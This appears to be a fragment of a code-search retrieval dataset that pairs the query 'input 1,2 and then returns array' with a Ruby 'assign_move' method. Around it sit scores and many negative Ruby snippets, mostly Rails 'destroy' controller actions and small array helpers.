"def destroy\n @onecompany_product = Onecompany::Product.find(params[:id])\n @onecompany_product.destroy\n\n respond_to do |format|\n format.html { redirect_to onecompany_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n render json: {}\n end",
"def destroy\n product = Product.find(params[:id])\n product.destroy\n\n render json: { deleted: params[:id] }\n end",
"def destroy\n p @product.destroy!\n render json: { result: 'deleted' }, status: :ok\n end",
"def delete_product(id)\n @client.raw('delete', \"/ecommerce/products/#{id}\")\n end",
"def destroy\n @purchase.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete_product(name)\n delete(\"/apiproducts/#{name}\")\n end",
"def destroy\n begin\n @api_v1_product.destroy!\n head :no_content\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n end\n end",
"def destroy\n @magento_product = MagentoProduct.find(params[:id])\n @magento_product.destroy\n\n respond_to do |format|\n format.html { redirect_to magento_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # find ALL servings associated with this purchase and delete them\n all_servings = Serving.where(purchase_id: @purchase.id)\n puts \"all servings associated with this purchase: #{all_servings}\"\n all_servings.destroy_all\n puts \"deleted servings\"\n @purchase.destroy\n puts \"deleted purchase\"\n render json: {status: 204, purchase: @purchase}\n end",
"def destroy\n @inventory_product.destroy\n respond_to do |format|\n format.html { redirect_to inventory_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n product = Product.find(params[:id])\n product.destroy\n render json: {id: product.id}\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.delete!\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shopifyproduct = Shopifyproduct.find(params[:id])\n @shopifyproduct.destroy\n\n respond_to do |format|\n format.html { redirect_to shopifyproducts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @groceryproduct.destroy\n respond_to do |format|\n format.html { redirect_to groceryproducts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hqproduct.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n render json: {is_success: true, error_code: 200, message: \"Deleted Successfully\", result: @product}, status: 200\n end",
"def destroy\n @prod = Prod.find(params[:id])\n @prod.destroy\n\n respond_to do |format|\n format.html { redirect_to prods_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @venue.destroy\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy \n @product = current_user.user_info.products.find(params[:id])\n Shopify.delete @product\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n puts(\"you are in destroy \")\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n Inventory.where(product: @product).delete_all\n @product.destroy\n respond_to do |format|\n format.html { redirect_to admin_products_path, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sold_product.destroy\n\n respond_to do |format|\n format.html { redirect_to sold_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @so_product.destroy\n respond_to do |format|\n format.html { redirect_to so_products_url, notice: 'So product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sales_upsale_product.destroy\n respond_to do |format|\n format.html { redirect_to sales_upsale_products_url, notice: 'Sales upsale product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deleteProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.find(params[:id])\n status = p.destroy\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: true, reason: error, data: \"\"}\n end",
"def delete(options = nil)\n request = Request.new(@client)\n path = \"/products/\" + CGI.escape(@id) + \"\"\n data = {\n\n }\n\n response = Response.new(request.delete(path, data, options))\n return_values = Array.new\n \n return_values.push(response.success)\n\n \n return_values[0]\n end",
"def destroy\n @os_product.destroy\n respond_to do |format|\n format.html { redirect_to os_products_url, notice: 'Os product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_product.destroy\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\nend",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to vendor_products_url, notice: 'Vendor product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase = Purchase.find(params[:purchase_id])\n @purchase_item = @purchase.purchase_items.find(params[:id])\n @purchase_item.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_path(@purchase) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @product1.destroy\n respond_to do |format|\n format.html { redirect_to product1s_url, notice: \"Product1 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase.destroy\n respond_to do |format|\n format.html { redirect_to purchase_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n render json: { message: 'Sub Product deleted successfully', status: :ok } if @sub_product.destroy\n end",
"def destroy\n unread\n\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n\n head :no_content\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to root_url(:item => 3), notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n store_location()\n @product_variant.destroy\n respond_to do |format|\n format.html { redirect_back_or(product_variants_url) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: t('destroy_success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product = @person.products.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.json { render :json=>true }\n end\n end",
"def destroy\n @shop_purchase = Shop::Purchase.find(params[:id])\n @shop_purchase.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_purchases_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @datasources_product = DatasourcesProduct.find(params[:id])\n @datasources_product.destroy\n\n respond_to do |format|\n format.html { redirect_to datasources_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food_product.destroy\n respond_to do |format|\n format.html { redirect_to food_products_url, notice: \"Food product was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: t('.message') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food_product.destroy\n respond_to do |format|\n format.html { redirect_to food_products_url, notice: 'Food product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @home_searches_product = Home::Searches::Product.find(params[:id])\n @home_searches_product.destroy\n\n respond_to do |format|\n format.html { redirect_to home_searches_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7410696",
"0.7306608",
"0.72702295",
"0.72172797",
"0.71904117",
"0.71089923",
"0.709993",
"0.70936406",
"0.7086999",
"0.7046182",
"0.7044976",
"0.7018566",
"0.7004353",
"0.7001813",
"0.6991188",
"0.699093",
"0.699093",
"0.699093",
"0.699093",
"0.699093",
"0.699093",
"0.69874525",
"0.6983711",
"0.69716465",
"0.6962558",
"0.69534147",
"0.6944455",
"0.6942002",
"0.6942002",
"0.6942002",
"0.6939192",
"0.69388896",
"0.69245964",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.69236934",
"0.6923632",
"0.69235843",
"0.692066",
"0.6909098",
"0.69037086",
"0.69036496",
"0.6902445",
"0.68929225",
"0.68929225",
"0.68929225",
"0.68929225",
"0.6888904",
"0.6888369",
"0.6887425",
"0.6885195",
"0.6884109",
"0.6882274",
"0.6882205",
"0.6880114",
"0.6879417",
"0.6879417",
"0.6879417",
"0.6872049",
"0.6869652",
"0.6861991",
"0.68522173",
"0.6849917",
"0.6849713",
"0.6849125",
"0.6846546",
"0.6845234",
"0.68395483",
"0.6835909",
"0.68343014",
"0.6829959",
"0.6828375",
"0.6827041",
"0.68260956",
"0.6821522",
"0.6821228"
] |
0.73826516
|
1
|
input 1,2 and then returns array
|
def assign_move
move = gets.chomp
assign_move unless valid_input?(move)
move.split(',').map(&:to_i)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_array(one, two, three)\n\treturn [one, two, three]\nend",
"def get_arrays(line)\n pairs = line.chomp.split(',')\n arrys = pairs.map do |range|\n indeces = range.split('-').map(&:to_i)\n (indeces.first..indeces.last).to_a\n end\nend",
"def return_array(array1, array2)\nfor num in array2\n if num%2 == 0\n array1.push(num)\n end\nend\nreturn array1\nend",
"def get_two_num \n puts \"give me a number\"\n number1 = gets.chomp.to_i\n puts \"give me another number\"\n number2 = gets.chomp.to_i\n both_num_output = [number1, number2] #RETURN as a list(array)\nend",
"def coord(a, b)\n final_array = []\n first_array = (1..a).to_a\n second_array = (1..b).to_a\n first_array.each do |first_num|\n second_array.each do |second_num|\n coordinates = \"(#{first_num}, #{second_num})\"\n final_array.push(coordinates)\n end\n end\n final_array \nend",
"def input\r\n\t\t@input.map{|i| i}\t\r\n\tend",
"def choice_to_array (num,array)\n array.each_with_index do |element,i|\n element.each_with_index do |value,j|\n if value == num\n return i,j\n end\n end\n end\nend",
"def array_with_two_elements\n [1,2]\nend",
"def g *args # accept multiple arguments as an array\n\targs # returns an array\nend",
"def numbers_array\n num_array = Array.new\n input_as_array.each { |n| num_array << get_number(n) }\n\n return num_array\n end",
"def name_array(name1, name2)\n real_name_array = [name1, name2]\n real_name_array\nend",
"def make_array(item1, item2, item3)\n\tarray = [item1, item2, item3]\n\n\tarray\nend",
"def get_numbers\n puts \"Please enter a list of numbers separated by commas.\"\n puts \"Press enter when done.\"\n # Read string and split on comm. \n # Return array of values as string\n input = gets.strip.split(',')\n # Converts each eleemnt in array to integer and store in new array \n values = input.map {|x| x.to_i}\n return values\n end",
"def number_array\n @input_string.split(' ')\n end",
"def get_multi_line_input_int_arr(original_filename)\n get_input_str_arr(original_filename).map(&:to_i)\nend",
"def getArray(n=3)\n return (1..n).to_a\nend",
"def input2\n [\n [3, 2,-4, 3],\n [2, 3, 3, 15],\n [5, -3, 1, 14]\n ]\nend",
"def get_two_numbers\n puts \"give me a number\"\n number1 = gets.chomp.to_i\n puts \"give me another number\"\n number2 = gets.chomp.to_i\n both_numbers_output = [number1, number2]\nend",
"def get_two_numbers\n puts \"give me a number\"\n number1 = gets.chomp.to_i\n puts \"give me another number\"\n number2 = gets.chomp.to_i\n both_numbers_output = [number1, number2]\nend",
"def my_array_splitting_method(source)\n new_array=[[], []]\n \n source.each do |x|\n if x.is_a?(Integer)\n new_array[0]<<x\n else \n new_array[1]<<x\n end\n end\nnew_array\n\nend",
"def get_numbers\n print \"Enter first number => \"\n first_num = valid_num(gets.chomp)\n \n print \"Enter second number => \"\n second_num = valid_num(gets.chomp)\n \n return [first_num, second_num]\nend",
"def my_array_splitting_method(source)\n integer_array = Array.new\n string_array = Array.new\n \n source.each do |piece|\n if piece.is_a?(Integer)\n integer_array << piece\n else\n string_array << piece\n end\n end\n master_array = integer_array,string_array\n return master_array\nend",
"def input1\n [\n [1, 0, 0, 0, 1],\n [0, 1, 0, 0, 5],\n [0, 0, 1, 0, 4],\n [0, 0, 0, 1, 3]\n ]\nend",
"def my_array_splitting_method(source)\nnew_arr = Array.new(2)\n new_arr[0] = source.select {|item| item.is_a?(Integer) }\n new_arr[1] = source.reject {|item| item.is_a?(Integer)}\n return new_arr\nend",
"def xyz(a)\narray = []\narray[0] = a.to_i\narray[1] = a.to_i - 1\narray[2] = a.to_i - 2\nputs array\n\nend",
"def create_an_array\n [\"a\", \"b\", \"c\", \"d\"]\nend",
"def to_a; [x, y] end",
"def get_single_line_input_int_arr(original_filename, separator: ',')\n get_input_str(original_filename).split(separator).map(&:to_i)\nend",
"def my_array_splitting_method(source)\n new_arr = Array.new(2)\n new_arr[0] = source.select {|item| item.is_a?(Integer) }\n new_arr[1] = source.reject {|item| item.is_a?(Integer)}\n return new_arr\nend",
"def my_array_splitting_method(source)\n\n split_array = []\n array_1 = []\n array_2 = []\n\n source.each do | item |\n if item.is_a?(Integer)\n array_1.push(item)\n else\n array_2.push(item)\n end\n end\n\n split_array.push(array_1)\n split_array.push(array_2)\n\n return split_array\n\nend",
"def separateInArrays params \r\n\tvalidCoupons = Array.new\r\n\torders \t\t = Array.new\r\n\torderItems = Array.new\r\n\tproducts = Array.new\r\n\toutputFile = nil\r\n\r\n\tparams.each do |param|\r\n\t\tcase param\r\n\t\t\twhen 'coupons.csv'\r\n\t\t\t\tverifyIfValidDiscount param, validCoupons\r\n\t\t\twhen 'order_items.csv'\r\n\t\t\t\tpushToArray param, orderItems\r\n\t\t\twhen 'orders.csv'\r\n\t\t\t\tpushToArray param, orders\r\n\t\t\twhen 'products.csv'\r\n\t\t\t\tpushToArray param, products\r\n\t\t\twhen 'output.csv'\r\n\t\t\t\toutputFile = param\r\n\t\t\t\tpushToArray param, orderItems\r\n\t\t\telse\r\n\t\t\t\t# stop program if invalid file is passed\r\n\t\t\t\tputs 'arquivo \"' + param + '\" é inválido! passe arquivos válidos para o programa e tente novamente!'\r\n\t\t\t\tabort\r\n\t\tend\r\n\tend\r\n\t\r\n\treturn validCoupons, orders, orderItems, products, outputFile\r\nend",
"def nums\n return 1, 2\nend",
"def Array(p0) end",
"def flatarray(tempvals)\n\t@tempvals = tempvals\n\tputs @tempvals.inspect\n\ttemparray = @tempvals.join(\",\").split(\",\").map(&:to_i).inspect\n\tputs temparray \n\treturn temparray \n end",
"def get_values\n [1, 2, 3, 4]\nend",
"def calls_array\n a = return_array\n a[1]\n end",
"def array_method(input)\n\treturn input[input.length/2]\nend",
"def q1_read_to_array(data_file_name)\r\n array2d = []\r\n \r\n read_file(\"data/\"+data_file_name).each{ |line|\r\n array1d = line.split(\",\").map(&:strip).map(&:to_s)\r\n array2d << array1d\r\n }\r\n return array2d\r\nend",
"def read_array\n vals = []\n while @tokenizer.more?\n vals.push(@tokenizer.next_token)\n sep = @tokenizer.next_token\n return vals if sep == ')'\n raise \"missing ',' in 'in' list of values: #{@tokenizer.sql}\" unless sep == ','\n end\n raise \"missing ')' at end of 'in' list of values: #{@tokenizer.sql}\"\n end",
"def to_a; [x, y, z] end",
"def user_input() #what do I pass here?\n puts \"\\nWhat is your move?\"\n user_input = gets.chomp.split(\",\")\n \n move_array = user_input.map { |letter| letter.to_i}\n\n return move_array\n puts move_array\n #move is an array [starting rod, ending rod, disk]\nend",
"def get_input_value(input)\n\n\t\tvalues = []\n\n\t\tnums = (0..9).to_a.map{|x| x.to_s}\n\n\t\tinput.each do |n|\n\t\t\tgval = Group.get_value(n, @system)\n\t\t\tif !gval.nil? && !gval.blank?\n\t\t\t\t# vals = gval.value.split(\",\")\n\t\t\t\tgval.value.split(\",\").each do |v|\n\t\t\t\t\tvalues += ((( GpInput.get_value(v, @system) || GpInSignal.get_value(v) ) || GpOutSignal.get_value(v) ) || GpNode.get_value(v, @system)).value.to_a\n\t\t\t\tend\n\t\t\telsif nums.include?(n)\n\t\t\t\tvalues << n\n\t elsif allowed?(n)\n\t\t\t\tvalues << n\n\t\t\telse\n#\t\t\t\treturn ( (( GpInput.get_value(n, @system) || GpInSignal.get_value(n) ) || GpOutSignal.get_value(n) ) || GpNode.get_value(n, @system) )\n\t\t\t\tvalues += ( (( GpInput.get_value(n, @system) || GpInSignal.get_value(n) ) || GpOutSignal.get_value(n) ) || GpNode.get_value(n, @system) ).value.to_a\n\t\t\tend\n\t\tend\n\t\treturn values\n\tend",
"def array_with_two_elements\n @my_two_array=array_with_two_elements \nend",
"def build_array(param1, param2, param3)\n\t[param1, param2, param3]\nend",
"def output(input)\n array = []\n input.sort.each do |value|\n select_result(input, value)\n end\n [@result.first, @result.last]\n end",
"def array\n\t\t#create an array of\n\t\tarray = [0, 1, 2, 3, 4, 5, 6, 7, 8]\n\tend",
"def double_array(array)\n # your code here\nend",
"def create_an_array\n [\"oranges\",\"apples\",\"kiwis\",\"mangos\"]\nend",
"def getArray _args\n \"getArray _args;\" \n end",
"def array(method = nil)\n -> (v) do\n if v\n v.split(\",\").map{|a| cast(a, method) }\n end\n end\n end",
"def match_maker(logic, *arrays)\n\t\tnew_arrays =[]\n\t\tarrays.each_slice(2){|a,b| new_arrays << [a,b]}\n\t\tputs new_arrays\n\t\tputs logic\n\tend",
"def input_as_array\n array = number.split('')\n\n return array.collect! { |x| x.to_i }\n end",
"def double_numbers(input_array)\n doubled_array =[]\n input_array.each {|num| doubled_array << num*2} \n doubled_array\nend",
"def array_method(input)\n\treturn \"thanks for the sweet array!\"\nend",
"def get_input()\n\tputs \"Enter countries, separated by commas\"\n\ttester_countries = gets\n\tputs \"Enter devices, separated by commas\"\n\tdevice_names = gets\n\t#save input as array of arrays, strip empty spaces for each\n\t[device_names.split(\",\").map! {|device| device.strip()}, \n\t\ttester_countries.split(\",\").map! {|tester_country| tester_country.strip()}]\nend",
"def to_a\n [x, y]\n end",
"def to_a\n [x, y]\n end",
"def fizzbuzz (num1, num2)\n new_arr = []\n\n num1.upto(num2) do |num|\n new_arr << fizzbuzz_case(num)\n end\n\nnew_arr \nend",
"def get_array_values(init,type)\n if type == \"fecha\"\n final = Time.new.year\n unidad = \"\"\n elsif type == \"rango\"\n final = 5000\n unidad = \"m2\"\n elsif type == \"aforo\"\n final = 500\n unidad = \"\"\n end\n array_ = []\n\n #((final.to_i).downto(Integer(init))).each do |n|\n (Integer(init)..(final.to_i)).each do |n|\n array_ << \"#{n}#{unidad}\"\n end\n return array_\n end",
"def double_array(array)\n output_array = []\n\n array.each do |thing|\n output_array << thing * 2\n end\n\n return output_array\nend",
"def get_user_input\n puts 'make your choice'\n input = gets.chomp\n puts input\n array = input.split(\" \")\n print array\n print \"\\n\"\n array.map!{|num| num.to_i}\n print array\n print \"\\n\"\n check_array_format(array)\nend",
"def parse_input\n code, row, col = gets.chomp.split(\",\")\n [code, [row.to_i, col.to_i]]\n end",
"def make_array(startArrayValue, endArrayValue)\n\tresultArray = []\n\tfor i in startArrayValue..endArrayValue\n\t\tresultArray.push(i)\n\tend\n\treturn resultArray\nend",
"def array(method = nil)\n -> (v) do\n if v\n v.split(',').map{|a| cast(a, method) }\n end\n end\n end",
"def request_player_input(message = 'Please enter an array of numbers 1-6 each separated by \" \"')\n puts message.to_s\n temp_input = gets.chomp\n temp_input = temp_input.split\n temp_input = temp_input.map(&:to_i)\n end",
"def input_array\n array = []\n \n not_finished = true\n puts \"Input values for an array. Type any non number to finish: \" \n # input values until finished \n while(not_finished)\n input = gets.chomp\n if is_number?(input)\n array.push(input.to_i)\n else \n not_finished = false\n end\n\n end\n print array\n return array\nend",
"def input_item_id_array(input_names:, op:)\n input_names.map { |n| op.input(n).child_item_id }\n end",
"def build_array(it1, it2, it3)\n\tnew_array = [it1, it2, it3]\n\tp new_array\nend",
"def to_array str\n array = []\n str.split().each do |i|\n entry = i.split(\",\")\n\n width = entry[0].to_i\n height = entry[1].to_i\n\n if entry.length == 2\n array << [width, height]\n else\n ALL_MACROS[entry[2]].call(width, height, array)\n end\n end\n\n array\nend",
"def two1 a; a[0] + a[1] end",
"def my_array_splitting_method(source)\n\n arrayInt = []\n arrayStr = []\n\n for x in 0..(source.length - 1)\n if source[x].to_s =~ /\\A[-+]?[0-9]+\\z/\n arrayInt[arrayInt.length] = source[x].to_i\n\n else\n arrayStr[arrayStr.length] = source[x]\n\n end\n end\n outputArray = [arrayInt, arrayStr]\n # p outputArray\n return outputArray\nend",
"def call_numbers(*)\n []\n end",
"def to_array(a)\n a.map { |i| i }\nend",
"def to_array(a)\n a.map { |i| i }\nend",
"def to_a\n [x, y]\n end",
"def double_array(input_array)\n \n double_array = []\n \n input_array.each do |number|\n double_array << number *= 2\n end\n return double_array\n\nend",
"def to_a\n [x, y, z]\n end",
"def convert_to_array(attr)\n attr = attr.split(',')\n return attr\nend",
"def to_ary\n [x, y]\n end",
"def converted_arrays; end",
"def convert_cons_list_into_array(input)\n input == [] ? [] : convert_cons_list_into_array(input[1]) << input.first\n end",
"def array_with_two_elements\n ary = Array.new\n Array.new(2)\nend",
"def sum_array(a1,a2)\n\t\ta3_0 = a1[0] + a2[0]\n\t\ta3_1 = a1[1] + a2[1]\n\t\treturn [a3_0, a3_1]\n end",
"def array_converter(*args)\n \nend",
"def every_possible_pairing_of_word(arr)\n i1 = arr\n i2 = []\n i1.combination(2).to_a\nend",
"def to_int_array(input)\n input.chars.to_a.collect { |x| x.to_i }\n end",
"def select_result(input, value)\n value_next = value + 1\n return @array << value if input.include?(value_next)\n\n array << value\n @result = @array if @result.size < @array.size\n @array = []\n end",
"def multi(x,y)\n (1..y).each do |i|\n a = []\n a << i if i % x == 0\n puts a\n end \nend",
"def double_array(array)\n array*2\nend",
"def get_numbers\n\tnumber1 = ask(\"Enter number 1\", Integer)\n\tnumber2 = ask(\"Enter number 2\", Integer)\n\treturn number1, number2\nend",
"def cast_array_for_args\n <<-CODE\n next_int;\n c->args = _int;\n t1 = stack_pop();\n if(REFERENCE_P(t1) && object_kind_of_p(state, t1, global->tuple)) {\n t1 = array_from_tuple(state, t1);\n } else if(!REFERENCE_P(t1) || !object_kind_of_p(state, t1, global->array)) {\n t2 = array_new(state, 1);\n array_set(state, t2, 0, t1);\n t1 = t2;\n }\n stack_push(t1);\n c->args += N2I(array_get_total(t1));\n CODE\n end",
"def paralell_array(*enums)\n zip(*enums)\n end",
"def squares\n [@a1, @a2, @a3, @b1, @b2, @b3, @c1, @c2, @c3]\n \nend",
"def mass_return\n [1,2]\nend",
